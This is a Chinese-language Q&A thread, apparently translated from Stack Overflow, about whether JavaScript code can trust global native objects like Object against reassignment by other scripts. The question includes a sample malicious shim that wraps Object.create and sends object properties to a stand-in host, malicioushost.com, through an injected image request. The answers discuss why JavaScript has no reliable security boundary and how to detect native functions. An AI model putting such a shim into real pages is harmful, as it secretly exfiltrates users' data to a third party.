在 JavaScript 中依赖全局本机对象是否安全，尤其是对象之一？

Question

首先，我知道，依赖Array 构造函数通常是不受欢迎的，因为它可以被其他代码重新分配，这不是严格模式，而是应该使用数组文字[]，因为如果他总是依赖原生的、真实的 Array（还有一些其他含义，但这是主要的）

但是如何处理Object？有些方法（create、freeze 等）只能通过 Object 标识符访问。

我查看了 AngularJS 的源代码，发现作者依赖于这些对象（Object、Function）不会被重新分配的假设，所以我得出结论，没有更好的方法。但我想听听更有经验的人的意见。

所以问题是：如何保护自己的代码与其他 javascript 代码一起使用，使其免受重新分配的全局原生对象的影响？

更新

我的问题是关于安全问题。因此，这是一种开发人员无法假设的情况：

• 如果 Object 被重新分配，那么其他任何事情都不会正常工作，所以不用担心
• 网站管理员会正确测试他在网站上包含的内容
• 如果 Object 有一些方法并返回预期的结果，那么一切正常

请以这种情况为例：

// the malicious code
var oldObj = Object,
    Object = {
        create: function(proto) {
            var secretProps = 'http://malicioushost.com/?'
            for (var prop in proto) {
                secretProps += encodeURIComponent(prop) + '=' + encodeURIComponent(proto[prop]) + '&'
            }
            var secretImg = document.createElement('img')
            secretImg.src = secretProps
            document.body.appendChild(secretImg)
            return oldObj.create.call(oldObj, proto)
     }
}

// the non-malign code
var foo = Object.create({prop1: 'foo', prop2: 'bar'})

这里 Object.create 的行为与原来的完全一样

真诚地欣赏它。

Answer 1

首先，我知道，依赖 Array 构造函数通常是不受欢迎的，因为它可以被其他代码重新分配

不。不赞成 Array 构造函数的原因是因为它比仅仅说 [] 更加冗长，而且界面令人困惑地不一致。 （具体来说，new Array(x).length 是 x，如果 x 是数字，1 对于任何其他类型......呃。）

有些库会尝试获取一些全局变量的自己的副本，以便在主机页面碰巧定义了自己的变量 Object 或 undefined 时它们仍然可以工作，但无论如何它都不是无懈可击的。

如何保护自己的代码与其他 javascript 代码一起使用，使其免受重新分配的全局原生对象的影响？

这不是一个可以解决的问题。 JavaScript 没有提供足够的工具来建立有效的安全边界。几乎所有对象、方法和属性都可以被破坏。

（无论如何，在语言级别...使用浏览器，您可以使用跨域框架/沙盒，postMessage 等将代码保存在不同的上下文中。但是如果界面元素用户正在与受损的顶级页面进行交互，它仍然不太可能有太大帮助。）

Answer 2

我不确定语言规范是怎么说的，但从这里我可能会说不是。但是，我还要说，如果有人以这种方式弄乱你的 JavaScript 环境，那么你就没有足够一致的环境来完成任何有价值的事情，因此担心它是不值得的。

var d,
  origObj,
  o1,
  o2,
  o3;

origObj = Object;

d = document.getElementById('objectorno');
d.innerHTML = Object;

o1 = Object.create({});
d.innerHTML = d.innerHTML + '<br/><br/>' + o1;

Object = null;

d.innerHTML = d.innerHTML + '<br/><br/>' + Object;

o2 = {
  aprop: "this is a property of an object"
};
d.innerHTML = d.innerHTML + '<br/><br/>' + o2.aprop;

try {
  o3 = Object.create({});
  d.innerHTML = d.innerHTML + '<br/><br/>' + o3;
} catch (e){
  d.innerHTML = d.innerHTML + '<br/><br/>No more Object.create()';
}

<div id="objectorno"></div>

Answer 3

如果您需要检查本机代码是否实际上是本机代码并且没有被覆盖，您可以在使用它们之前简单地检查它们：

function isFuncNative(f) {
       return !!f && (typeof f).toLowerCase() == 'function' 
       && (f === Function.prototype 
       || /^\s*function\s*(\b[a-z$_][a-z0-9$_]*\b)*\s*\((|([a-z$_][a-z0-9$_]*)(\s*,[a-z$_][a-z0-9$_]*)*)\)\s*{\s*\[native code\]\s*}\s*$/i.test(String(f)));
}

然后

if (isFuncNative(Object.create)){
    // Use Object.create
} else {
   alert("You naughty boy!");
}